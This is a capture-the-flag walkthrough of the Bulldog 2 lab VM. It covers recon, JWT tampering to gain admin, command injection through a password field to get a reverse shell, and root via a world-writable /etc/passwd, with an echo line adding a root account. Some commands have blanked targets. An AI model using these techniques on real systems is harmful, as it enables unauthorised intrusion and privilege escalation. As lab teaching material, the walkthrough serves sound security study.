Bulldog 2: CTF walkthrough


Name: Bulldog 2

Date of release: 18 Jul 2018

Author: Nick Frichette

Series: Bulldog


First and foremost we need the IP address of the VM. For that, as usual, we will use arp-scan.

ronin :~# arp-scan --localnet 
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]    08:00:27:ac:f1:85    CADMUS COMPUTER SYSTEMS (DUP: 2)
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]
[redacted]    [redacted]    [redacted]

9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.409 seconds (106.27 hosts/sec). 9 responded
ronin :~# 

Then, we can scan the target, in order to find open ports and running services.

ronin :~# nmap -sV -sC -T5
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-30 11:34 EDT
Nmap scan report for ronin.home (
Host is up (0.00056s latency).
Not shown: 999 filtered ports
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Bulldog.social
MAC Address: 08:00:27:AC:F1:85 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.61 seconds
ronin :~# 

According to the nmap scan, like the first one, we are going to exploit a web application.

Entry Point

I have to confess that the first 30 minutes was tough and then I realised that we have access to the client side’s source code when Node JS based language are involved. That’s why I decided to download and read the main script located at:

By reading it, we can find two interesting things. Note that I used the https://unminify.com/ website the un-obfuscate/minify the JS code.

Firstly, the usable URLs:

return [
            path: "",
            component: K
        }, {
            path: "register",
            component: H
        }, {
            path: "login",
            component: j
        }, {
            path: "dashboard",
            component: V,
            canActivate: [z]
        }, {
            path: "profile",
            component: W,
            canActivate: [z]
        }, {
            path: "profile/:username",
            component: W
        }, {
            path: "users",
            component: J
        }, {
            path: "about",
            component: Y
        }, {
            path: "**",
            component: X

Secondly, function that disclose how to register users, for example:

return l.prototype.registerUser = function(l) {
                    var n = new x.Headers;
                    return n.append("Content-Type", "application/json"), this.http.post("/users/register", l, {
                        headers: n
                    }).map(function(l) {
                        return l.json()


 return l.prototype.ngOnInit = function() {}, l.prototype.onRegisterSubmit = function() {
                    var l = this,
                        n = {
                            name: this.name,
                            email: this.email,
                            username: this.username,
                            password: this.password
                    return this.validateService.validateRegister(n) ? this.validateService.validateEmail(n.email) ? void this.authService.registerUser(n).subscribe(function(n) {
                        n.success ? (l.flashMessage.show("You are now registered and can log in", {
                            cssClass: "alert-success",
                            timeout: 3e3

Now, that we now how to register an user, we can create a new one and then analyse the authentication process.

Creating a New User

According to what we found in the source code, we can easily create a new user with this following POST request:

ronin :~# curl -X POST '' -H 'Content-Type: application/json' -d '{"name": "Amonsec", "username": "amonsec", "password": "amonsec1234", "email": "[email protected]"}'
{"success":true,"msg":"User registered"}ronin :~#

Road to Admin

Now, let’s take a closer look at the authentication process and for that I will use BurpSuite.

Firstly, let’s catch the HTTP POST request that we are sending to the server when we submit the login form:

Login request

At this point, we can intercept the response from the server:

Login response

As we can see, a JWT token is crafted by the server and few others parameters.

JWT token

We can easily decode this token with the following website: https://jwt.io/

JWT token decoded

Now, if we come back to the JS source code, we can see that in different places the auth_level variable is checked.

Moreover, the master_admin_user seems to be the highest right.

 }, l.prototype.isAdmin = function() {
                    var l = localStorage.getItem("user");
                    return null !== l && "master_admin_user" == JSON.parse(l).auth_level
                }, l.prototype.storeUserData = function(l, n) {
                    localStorage.setItem("id_token", l), localStorage.setItem("user", JSON.stringify(n)), this.authToken = l, this.user = n
                }, l.prototype.loadToken = function() {

So, we just have to change our current JWT token’s authentication level for master_admin_user via https://jwt.io/ and to copy past in BurpSuite the new token. That’s how we can gain admin privileges in the web application.

Code Execution

With our fresh admin privileges, now , we can navigate to the /dashboard URL. This is a basic form, but the interesting thing about this form is that the creator of the application tell us that it’s for a CLI tool, which means that we can probably find a way to inject some arbitrary code.

Let’s try a simple example in my local system. I can run a simple command with few flags:

ronin :~/Desktop# ls -la
total 128
drwxr-xr-x  6 root root 20480 Jul 28 11:23 .
drwxr-xr-x 56 root root  4096 Jul 30 11:32 ..
-rw-r--r--  1 root root  4411 Jul 28 11:23 exploit.py
-rw-------  1 root root  2671 May  5 14:44 .gdb_history
drwxr-xr-x 34 root root  4096 Jun 29 18:41 HTB
-rw-r--r--  1 root root 75127 Jul 26 12:30 main.js
drwxr-xr-x  7 root root  4096 May 24 15:40 RastaLab
drwxr-xr-x 64 root root  4096 May  2 12:03 .secret
drwxr-xr-x 29 root root  4096 Jun 11 11:15 vhl
ronin :~/Desktop# 

But now, If I use the ; character I will chain other commands:

ronin :~/Desktop# ls -lah; id; whoami
total 128K
drwxr-xr-x  6 root root  20K Jul 28 11:23 .
drwxr-xr-x 56 root root 4.0K Jul 30 11:32 ..
-rw-r--r--  1 root root 4.4K Jul 28 11:23 exploit.py
-rw-------  1 root root 2.7K May  5 14:44 .gdb_history
drwxr-xr-x 34 root root 4.0K Jun 29 18:41 HTB
-rw-r--r--  1 root root  74K Jul 26 12:30 main.js
drwxr-xr-x  7 root root 4.0K May 24 15:40 RastaLab
drwxr-xr-x 64 root root 4.0K May  2 12:03 .secret
drwxr-xr-x 29 root root 4.0K Jun 11 11:15 vhl
uid=0(root) gid=0(root) groups=0(root)
ronin :~/Desktop# 

This is the exact same thing with this form. We will inject a ; in the password variable, followed with the system command that we want to execute.

For example, a python reverse shell.

Python reverse shell

That will give us a low privilege reverse shell.

Low privilege shell

Privilege Escalation

We can find that the /etc/passwd file is writable by the any user in this system.

[email protected]:/$ find /etc -perm -o+w -type f 2>/dev/null
find /etc -perm -o+w -type f 2>/dev/null
[email protected]:/$
[email protected]:/$ ls -la /etc/passwd
ls -la /etc/passwd
-rwxrwxrwx 1 root root 166 Jul 31 15:19 /etc/passwd
[email protected]:/$ 

So, nothing really complex here,. First, we will create a simple password.

ronin :~# perl -le 'print crypt("offsec1234", "aa")'
ronin :~# 

Then, we will add a new root user.

[email protected]:/$ echo "offsec:aag8bHk/BoF1k:0:0:offsec:/root:/bin/bash" >> /etc/passwd
<Hk data-preserve-html-node="true"/BoF1k:0:0:offsec:/root:/bin/bash" >> /etc/passwd
[email protected]:/$ 

That’s how, finally, we have a root access to the system.

Low privilege shell